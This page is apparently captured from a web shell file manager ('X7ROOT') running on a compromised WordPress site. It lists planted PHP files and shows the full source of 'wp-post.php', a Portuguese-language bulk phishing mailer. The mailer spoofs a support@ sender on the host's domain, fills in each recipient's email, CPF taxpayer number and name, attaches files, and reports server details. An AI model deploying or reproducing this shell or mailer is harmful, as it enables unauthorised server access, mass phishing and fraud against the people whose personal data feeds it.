X7ROOT File Manager
Current Path:
/home/airtpgpx/publictransportsolutions.net
home
/
airtpgpx
/
publictransportsolutions.net
/
π
..
π
.htaccess
(199 B)
π
.htaccess_backup_1749090431
(533 B)
π
.litespeed_flag
(297 B)
π
137871
π
admin.php
(5.22 KB)
π
configVFD
π
d9abc
π
googledcc224bd12b42586.html
(53 B)
π
jquery.min.js
(7.2 KB)
π
php.ini
(105 B)
π
radio.php
(4.23 KB)
π
robots.txt
(467 B)
π
test
π
theme-inshejg.php
(743 B)
π
theme-insifkd.php
(295 B)
π
theme-insmqvs.php
(295 B)
π
theme-insspny.php
(338 B)
π
theme-insxizo.php
(295 B)
π
well-known
π
wp-admin
π
wp-background.png
(38.62 KB)
π
wp-content
π
wp-includes
π
wp-nonce463.php
(6.2 KB)
π
wp-post.php
(6.52 KB)
Editing: wp-post.php
<?php ini_set('display_errors', 1); error_reporting(E_ALL); $host = $_SERVER['HTTP_HOST']; $dominio = preg_replace('/^www\./', '', strtolower($host)); $email_automatico = "support@$dominio"; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $nome_remetente = trim($_POST['nome']); $de = trim($_POST['de']) ?: $email_automatico; $assunto = trim($_POST['assunto']); $mensagem_html = stripslashes($_POST['html']); $linhas = array_filter(array_map('trim', explode("\n", $_POST['emails']))); $boundary = md5(uniqid(time())); $headers_base = "MIME-Version: 1.0\r\n"; $headers_base .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"; $headers_base .= "X-Mailer: PHP/" . phpversion() . "\r\n"; $headers_base .= "X-Priority: 1\r\n"; $headers_base .= "X-MSmail-Priority: High\r\n"; $temAnexo = isset($_FILES['arquivo']) && $_FILES['arquivo']['error'] === UPLOAD_ERR_OK; if ($temAnexo) { $anexo_nome = basename($_FILES['arquivo']['name']); $anexo_tipo = $_FILES['arquivo']['type']; $anexo_dados = chunk_split(base64_encode(file_get_contents($_FILES['arquivo']['tmp_name']))); } $count = 1; foreach ($linhas as $linha) { $partes = explode(";", $linha); $email = trim($partes[0] ?? ''); $cpf = trim($partes[1] ?? ''); $nome = trim($partes[2] ?? ''); $random1 = substr(md5(uniqid(mt_rand(), true)), 0, 6); $random_num = str_pad(mt_rand(0, 999999), 6, '0', STR_PAD_LEFT); $vars = [ '%email%' => $email, '%cpf%' => $cpf, '%nome%' => $nome, '%data%' => date('d/m/Y'), '%hora%' => date('H:i:s'), '%random1%' => $random1, '%random2%' => substr(md5(uniqid()), 0, 6), '%random3%' => substr(md5(uniqid()), 0, 6), '%random4%' => substr(md5(uniqid()), 0, 6), '%random5%' => substr(md5(uniqid()), 0, 6), '%random6%' => substr(md5(uniqid()), 0, 6), '%random_num%' => $random_num, '%rand%' => rand(1000, 9999), ]; // Aplicar placeholders em todos os campos $nome_final = str_replace(array_keys($vars), array_values($vars), $nome_remetente ?: $email_automatico); $de_final = str_replace(array_keys($vars), array_values($vars), $de); $email_personalizado = str_replace(array_keys($vars), array_values($vars), $email); $assunto_personalizado = str_replace(array_keys($vars), array_values($vars), $assunto); $mensagem_personalizada = str_replace(array_keys($vars), array_values($vars), $mensagem_html); $subject = '=?UTF-8?B?' . base64_encode($assunto_personalizado) . '?='; $nome_encoded = '=?UTF-8?B?' . base64_encode($nome_final) . '?='; $headers = "From: $nome_encoded <$de_final>\r\n" . $headers_base; $corpo = "--$boundary\r\n"; $corpo .= "Content-Type: text/html; charset=UTF-8\r\n"; $corpo .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $corpo .= $mensagem_personalizada . "\r\n"; if ($temAnexo) { $corpo .= "--$boundary\r\n"; $corpo .= "Content-Type: $anexo_tipo; name=\"$anexo_nome\"\r\n"; $corpo .= "Content-Transfer-Encoding: base64\r\n"; $corpo .= "Content-Disposition: attachment; filename=\"$anexo_nome\"\r\n\r\n"; $corpo .= $anexo_dados . "\r\n"; } $corpo .= "--$boundary--"; if (mail($email_personalizado, $subject, $corpo, $headers)) { echo "* NΓΊmero: $count <b>" . htmlspecialchars($email_personalizado) . "</b> <font color='green'>OK</font><br><hr>"; } else { echo "* NΓΊmero: $count <b>" . htmlspecialchars($email_personalizado) . "</b> <font color='red'>ERRO AO ENVIAR</font><br><hr>"; } $count++; } } ?> <html> <head> <title>##################</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <style> body { margin: 0; font-family: Arial; } .titulo { font-size: 18px; font-weight: bold; } .normal { font-size: 12px; } .form { font-size: 10px; color: #333; background-color: #FFF; border: 1px dashed #666; } .texto { font-weight: bold; font-family: Verdana; } .alerta { font-weight: bold; color: #990000; font-size: 10px; font-family: Verdana; } </style> </head> <body> <form action="" method="post" enctype="multipart/form-data"> <table width="464" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC" class="normal"> <tr><td width="462" align="center" bgcolor="#99CCFF">Β </td></tr> <tr><td valign="top" bgcolor="#FFFFFF"> <table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal"> <tr> <td align="right"><span class="texto">De / e-mail :</span></td> <td width="65%"> <input name="nome" type="text" class="form" style="width:48%"> <input name="de" type="text" class="form" value="<?php echo htmlspecialchars($email_automatico); ?>" style="width:49%"> </td> </tr> <tr> <td align="right"><span class="texto">Assunto:</span></td> <td><input name="assunto" type="text" class="form" value="" style="width:100%"></td> </tr> <tr align="center" bgcolor="#99CCFF"> <td colspan="2"><span class="texto">π Anexo:</span></td> </tr> <tr> <td colspan="2"><input type="file" name="arquivo" class="form" style="width:100%"></td> </tr> <tr align="center" bgcolor="#99CCFF"> <td colspan="2"><span class="texto">CΓ³digo HTML:</span></td> </tr> <tr> <td colspan="2"><textarea name="html" rows="8" class="form" style="width:100%"></textarea><br> <span class="alerta"></span> </td> </tr> <tr align="center" bgcolor="#99CCFF"> <td colspan="2"><span class="texto">Emails (um por linha)</span></td> </tr> <tr> <td colspan="2"><textarea name="emails" rows="8" class="form" style="width:100%"></textarea> <span class="alerta"></span> </td> </tr> <tr><td colspan="2" align="center"> <input type="submit" name="Submit" value="Enviar"> </td></tr> </table> </td></tr> <tr><td align="center" bgcolor="#99CCFF">Β </td></tr> </table> </form> <br> <small> Nome do Servidor: <?php echo @php_uname(); ?><br> Sistema Operacional: <?php echo PHP_OS; ?><br> EndereΓ§o IP: <?php echo $_SERVER['SERVER_ADDR']; ?><br> Software usado: <?php echo $_SERVER['SERVER_SOFTWARE']; ?><br> Email admin: <?php echo $_SERVER['SERVER_ADMIN']; ?><br> Safe Mode: <?php echo @ini_get('safe_mode'); ?><br> </small> </body> </html>
Upload File
Create Folder